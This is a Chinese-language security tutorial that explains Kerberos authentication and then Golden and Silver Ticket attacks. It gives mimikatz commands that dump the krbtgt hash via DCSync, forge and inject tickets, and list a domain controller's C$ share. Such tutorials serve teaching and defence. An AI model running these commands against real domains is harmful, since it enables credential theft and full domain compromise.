No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
名词铺垫:
Master Key:将密码通过hash运算得到的一个Key,和密码具有相同效力。
session Key:session key是一个一段会话中使用的对称加密密钥。
KC_Session_Key:KDC和Client之间的session key。
CS_Session_Key:Client和Server之间的session key。
在域内Client想要连接Server需要通过Kerberos认证,在认证的过程中会有一个叫做KDC的第三方。这个KDC通常由域控扮演,其存储着域内所有账户的一个数据库。首先Kerberos认证会分为六步。第一和第二步为Client和KDC的AS(Authentication Service Exchange)服务器通信,第三和第四步为Client和KDC的TGS(Ticket Granting Service)通信,第五步和第六步为Client和想要连接的Server之间的通信。
步骤一:Client –〉DC(KDC(as));客户端向认证服务器(AS)发送一个认证请求(KRB_AS_REQ)。
发送内容① :[Pre-authentication data(client is ntlm_hash for Timestamp),Client name & realm(DomainName\Username),Server Name(KDC TGS NAME)] //其中的pre data为自己身份的一些证明。
步骤二:DC(KDC(as)) –〉Client ;认证服务器(AS)认证通过后(对比用户名是否在本地数据库中),给客户端发送加密后的KC_Session Key和TGT凭证(KRB_AS_REP)。
发送内容②:[Client_ntlm_hash(KC_Session_Key)]和[Krbtgt_ntlm_hash(KC_Session_Key,Client_name(DomainName\Username),TGT_EndTime)]。这里我们注意到KDC的AS发送了两部分内容给Client,第一部分是第一个方括号里的内容——通过Client的Master Key(就是Client_ntlm_hash)加密的KC_Session_Key。
第二部分是第二个方括号里的内容——通过KDC的Master Key加密的KC_Session_Key、DomainName\Username和TGT_EndTime。
步骤三:Client –〉DC(KDC(tgs));Client将AS发送来的第一部分使用自己的Master Key解密得到了KC_Session_Key的值。客户端拿着自己用KC_Session_Key加密的Authenticator(内含一些表明自己身份的信息)和TGT凭证向票据生成服务器(TGS)发起一个认证请求(KRB_TGS_REQ)。
发送内容③ :[KC_Session_Key(Authenticator([DomainName\Username,ServerName(DomainName\Server)]))],[TGT]
步骤四:DC(KDC(tgs)) –〉Client ;TGS收到Client发来的信息后想要校验Authenticator中的内容,以确定Client的身份。但Authenticator的内容是被KC_Session_Key加密的,而KC_Session_Key放在TGT里,所以我们首先要用KDC的Master Key解密TGT,然后取出TGT中的KC_Session_Key解密Authenticator。将Authenticator里面的内容进行验证,验证通过后,给客户端发送KC_Session_Key加密后的CS_Session_key(KRB_TGS_REP)和使用Server的Maskter Key加密的ticket票据。
发送内容④ :KC_Session_Key加密的CS_Session_key和[Server_ntlm_hash(Tiket(CS_Session_Key,Client_Name(domainName\Username),TGT_EndTime))]。
步骤五:Client –〉Server ;Client用KC_Session_Key解密被加密了的CS_Session_Key得到CS_Session_Key的值,并用该CS_Session_Key的值去加密一个Authenticator(证明自己身份所用)并带着一个被加密的ticket去访问服务器。
发送内容⑤:CS_Session_Key加密[Authenticator([DomainName\Username,ServerName(DomainName\Server)])],[Tiket]
步骤六:Server–〉Client ;服务器使用Server的Master Key解密ticket,获得ticket中的CS_Session_Key,并用该Session_Key解密Auth信息,验证Client身份是否正确正确的话,放行,验证通过。而如果是双向认证的话还给客户端发送一个加密的Authenticator,用于让客户端识别是否访问正确的服务端。
发送内容⑥:CS_Session_Key加密[Authenticator]
No.3
黄金票据
在client和KDC(keberos)的AS(认证服务器)认证成功之后会返回给client一个TGT和session_key,黄金票据发生在这一步。TGT为[Krbtgt_ntlm_hash(KC_Session_Key,Client_name(DomainName\Username),TGT_EndTime)]。可以看到,在我们知道了Krbtgt_ntlm_hash,那么TGT里面的内容是可以伪造的。
而第三步的发送的数据内容为:[KC_Session_Key(Authenticator([DomainName\Username,ServerName(DomainName\Server)]))],[TGT]
我们可以修改TGT中的Client_name和Server_Name,从而可以以任意身份访问任意服务器。可以看到,问题的根源就在于得到kerberos的ntlm_hash,只要我们有了ntlm_hash,伪造自己的身份(如将自己指定为域控)就可以和任意服务器连接!
No.4
黄金票据复现
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:< kerberos NTLM Hash> /user:<任意用户名> /ptt" exit
获得sid和kerberos ntlm hash可以通过下面方式:
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # lsadump::dcsync /user:krbtgt
用户名可以用Administrator
第一段命令执行之后可以执行下面命令验证黄金票据是否导入成功
dir \\ANHENG520.test.com\c$
其中AHENG520是test.com这个域中的域控制器
黄金票据导入成功后会回显出域控中c盘目录
No.5
白银票据
和黄金票据不同,白银票据发送在验证的第5步。我们需要得到想要连接的服务器的ntlm_hash。可以看到第5步验证和第3步验证的差别在于,黄金票据我们使用的时候得到的是kerberos的hash。那时候我们可以修改Client_Name和,而在白银票据阶段,我们拿到的是想要连接的服务器的ntlm_hash,此时的Server Master Key已经固定了,只能修改自己的身份而不能修改想要连接的服务器。也就是说我们可以以任意身份连接某一个服务器。这也是白银票据和黄金票据的区别所在----白银票据连接某一个指定服务器,黄金票据可以连接任意服务器。
No.6
白银票据复现
mimikatz.exe "kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-3794943108-2167292304-869428770-500 /target:ANHENG.test.com /rc4:3daa81d4a957bbd06f94f5ee1bbcff33 /service:cifs /ptt" exit
白银这里复现最好用这条命令,reference的文章里的命令有点小问题(他的user字段错了)。这里用到的字段挨个解释一下。user就是用户,domain为域名,sid为域sid,target为要连接的服务器(这里我连得是域控),rc4为ANHENG这台域控的ntlm_hash。service就用cifs就行了。
验证票据是否导入成功
dir \\ANHENG.test.com\c$
成功会列出域控c盘目录
END